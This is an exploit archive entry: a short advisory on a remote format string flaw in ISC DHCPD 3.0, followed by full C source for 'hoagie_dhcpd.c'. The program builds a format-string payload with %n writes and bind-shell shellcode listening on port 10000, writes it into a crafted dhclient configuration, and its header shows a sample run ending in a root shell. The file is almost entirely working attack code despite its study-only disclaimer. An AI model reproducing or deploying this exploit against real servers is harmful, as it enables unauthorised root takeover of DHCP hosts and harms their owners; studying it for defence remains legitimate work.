// source: https://www.securityfocus.com/bid/4701/info
The ISC DHCPD (Dynamic Host Configuration Protocol) is a collection of software implementing the DHCP protocol. It is available for a range of operating systems, including BSD and Solaris.
A remote format string vulnerability has been reported in multiple versions of the DHCPD server. User supplied data is logged in an unsafe fashion. Exploitation of this vulnerability may result in arbitrary code being executed by the DHCP server, which generally runs as the root user.
This vulnerability is dependant on the NSUPDATE configuration option being enabled. NSUPDATE is enabled by default in versions 3.0 and later of the DHCPD server.
/***********************************************************
* hoagie_dhcpd.c
*
* local and remote exploit for isc dhcpd 3.0 (perhaps others)
*
* hi 19c3 guys ;)
*
* gcc hoagie_dhcpd.c -o hoagie_dhcpd
*
* Author: Andi <andi@void.at>
*
* Greetz to Greuff, philipp and the other hoagie-fellas :-)
*
* For this exploit we use the very very useful dhcp client
* option: hex-coloumn list as fqdn. For this trick we change
* in common/tables.c the parsing option to "X".
*
* # ./hd
* hoagie_dhcpd.c - remote isc dhcpd 3.0 format string exploit
* using return address location: 0xbfffdd4c
* return address: 0xbfffde38
* dummy vprintf address: 0xbfffdd70
* now run: dhclient -d -cf dhcp.conf eth0
* # ./dhclient -d -cf dhcp.conf eth0
* Internet Software Consortium DHCP Client V3.0
* Copyright 1995-2001 Internet Software Consortium.
* All rights reserved.
* For info, please visit http://www.isc.org/products/DHCP
*
* Listening on LPF/eth0/00:02:3f:af:89:fb
* Sending on LPF/eth0/00:02:3f:af:89:fb
* Sending on Socket/fallback
* DHCPDISCOVER on eth0 to 255.255.255.255 port 67 interval 3
* DHCPDISCOVER on eth0 to 255.255.255.255 port 67 interval ...
* ^C
* # telnet dhcpserverip 10000
* id;
* uid=0(root) gid=0(root) groups=0(root)
*
* after I've written the return address location and used the
* last %n parameter, vfprintf still pops values from the stack
* so what happened: the dhcp server tries to write the written
* bytes to something like 0x2578.... which is part of the format
* string. so you have to add another dummy address pair where
* vfprintf can write dummy bytes.
*
* THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
* CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY
* DAMAGE DONE USING THIS PROGRAM.
*
************************************************************/
#include <stdio.h>
#include <stdlib.h>
char shellcode[] =
"\x31\xdb" // xor ebx, ebx
"\xf7\xe3" // mul ebx
"\xb0\x66" // mov al, 102
"\x53" // push ebx
"\x43" // inc ebx
"\x53" // push ebx
"\x43" // inc ebx
"\x53" // push ebx
"\x89\xe1" // mov ecx, esp
"\x4b" // dec ebx
"\xcd\x80" // int 80h
"\x89\xc7" // mov edi, eax
"\x52" // push edx
"\x66\x68\x27\x10" // push word 4135
"\x43" // inc ebx
"\x66\x53" // push bx
"\x89\xe1" // mov ecx, esp
"\xb0\x10" // mov al, 16
"\x50" // push eax
"\x51" // push ecx
"\x57" // push edi
"\x89\xe1" // mov ecx, esp
"\xb0\x66" // mov al, 102
"\xcd\x80" // int 80h
"\xb0\x66" // mov al, 102
"\xb3\x04" // mov bl, 4
"\xcd\x80" // int 80h
"\x50" // push eax
"\x50" // push eax
"\x57" // push edi
"\x89\xe1" // mov ecx, esp
"\x43" // inc ebx
"\xb0\x66" // mov al, 102
"\xcd\x80" // int 80h
"\x89\xd9" // mov ecx, ebx
"\x89\xc3" // mov ebx, eax
"\xb0\x3f" // mov al, 63
"\x49" // dec ecx
"\xcd\x80" // int 80h
"\x41" // inc ecx
"\xe2\xf8" // loop lp
"\x51" // push ecx
"\x68\x6e\x2f\x73\x68" // push dword 68732f6eh
"\x68\x2f\x2f\x62\x69" // push dword 69622f2fh
"\x89\xe3" // mov ebx, esp
"\x51" // push ecx
"\x53" // push ebx
"\x89\xe1" // mov ecx, esp
"\xb0\x0b" // mov al, 11
"\xcd\x80"; // int 80h
char nop[] = "\x90\x90\x90\x90";
int retloc = 0xbfffdd4c; /* use gdb to get it ;) */
int retaddr = 0xbfffde38; /* hmm yes that sounds quite interesting */
int dummyaddr = 0xbfffdd70; /* dummy stack pointer for vprintf */
void help() {
printf("\t-l\t ... return address location\n");
printf("\t-r\t ... return address\n");
printf("\t-d\t ... dummy vfprintf address\n");
exit(0);
}
int main(int argc, char **argv) {
char buffer[4096], output[4096], tmp[6], pad[4][20];
FILE *fp;
unsigned char rl[4], ra[4], da[4];
int i, opt;
unsigned int start, diff, ret;
extern char *optarg;
printf("hoagie_dhcpd.c - remote isc dhcpd 3.0 format string exploit\n");
if (argc > 1) {
while ( (opt = getopt(argc, argv, "hl:r:d:")) != EOF) {
switch(opt) {
case 'h': help(); break;
case 'l': sscanf(optarg, "0x%x", &retloc); break;
case 'r': sscanf(optarg, "0x%x", &retaddr); break;
case 'd': sscanf(optarg, "0x%x", &dummyaddr); break;
}
}
}
printf("using return address location: 0x%x\n", retloc);
printf("return address: 0x%x\n", retaddr);
printf("dummy vprintf address: 0x%x\n", dummyaddr);
/* convert return address location */
rl[0] = (char) (retloc >> 24);
rl[1] = (char) (retloc >> 16);
rl[2] = (char) (retloc >> 8);
rl[3] = (char) retloc;
/* convert dummy address */
da[0] = (char) (dummyaddr >> 24);
da[1] = (char) (dummyaddr >> 16);
da[2] = (char) (dummyaddr >> 8);
da[3] = (char) dummyaddr;
/* calculate paddings */
ra[3] = (char) (retaddr >> 24);
ra[2] = (char) (retaddr >> 16);
ra[1] = (char) (retaddr >> 8);
ra[0] = (char) retaddr;
start = 0xd4;
for (i = 0; i < 4; i++) {
if (start == ra[i]) {
strcpy(pad[i], "");
} else {
if (start > ra[i]) {
ret = ra[i];
while (start > ret) ret += 0x100;
diff = ret - start;
} else {
diff = ra[i] - start;
}
sprintf(pad[i], "%%%du", diff);
start += diff;
}
}
/* build the special format string */
sprintf(buffer,
"%c%c%c%c\x70\xdd\xff\xbf%c%c%c%c\x70\xdd\xff\xbf"
"%c%c%c%c\x70\xdd\xff\xbf%c%c%c%c"
"%%08x%%08x%%08x%%08x%%08x%%08x%%08x%%08x%%08x%%08x"
"%%08x%%08x%%08x%%08x%%08x%%08x%%08x%%08x"
"\x90\x90\x90\x90%c%c%c%c"
"\x90\x90\x90\x90%c%c%c%c"
"\x90\x90\x90\x90%c%c%c%c"
"\x90\x90\x90\x90%c%c%c%c"
"%s%%n"
"%s%%n"
"%s%%n"
"%s%%n"
"%s%s",
rl[3], rl[2], rl[1], rl[0],
rl[3] + 1, rl[2], rl[1], rl[0],
rl[3] + 2, rl[2], rl[1], rl[0],
rl[3] + 3, rl[2], rl[1], rl[0],
da[3], da[2], da[1], da[0],
da[3], da[2], da[1], da[0],
da[3], da[2], da[1], da[0],
da[3], da[2], da[1], da[0],
pad[0], pad[1], pad[2], pad[3], nop, shellcode);
/* convert to dhcp.conf syntax
* hex style input format rules -> change your dhclient source -> tables.c and change fqdn to type X
* to add binary values
*/
memset(output, 0, sizeof(output));
for (i = 0; i < strlen(buffer) - 1; i++) {
sprintf(tmp, "%02x:", (unsigned char)buffer[i]);
strcat(output, tmp);
}
sprintf(tmp, "%02x", (unsigned char)buffer[i]);
strcat(output, tmp);
/* create dhcp.conf and write options */
fp = fopen("dhcp.conf", "w");
fprintf(fp, "send fqdn.server-update on;\n");
fprintf(fp, "send fqdn.fqdn %s;", output);
fclose(fp);
/* have fun */
printf("now run: dhclient -d -cf dhcp.conf eth0\n");
}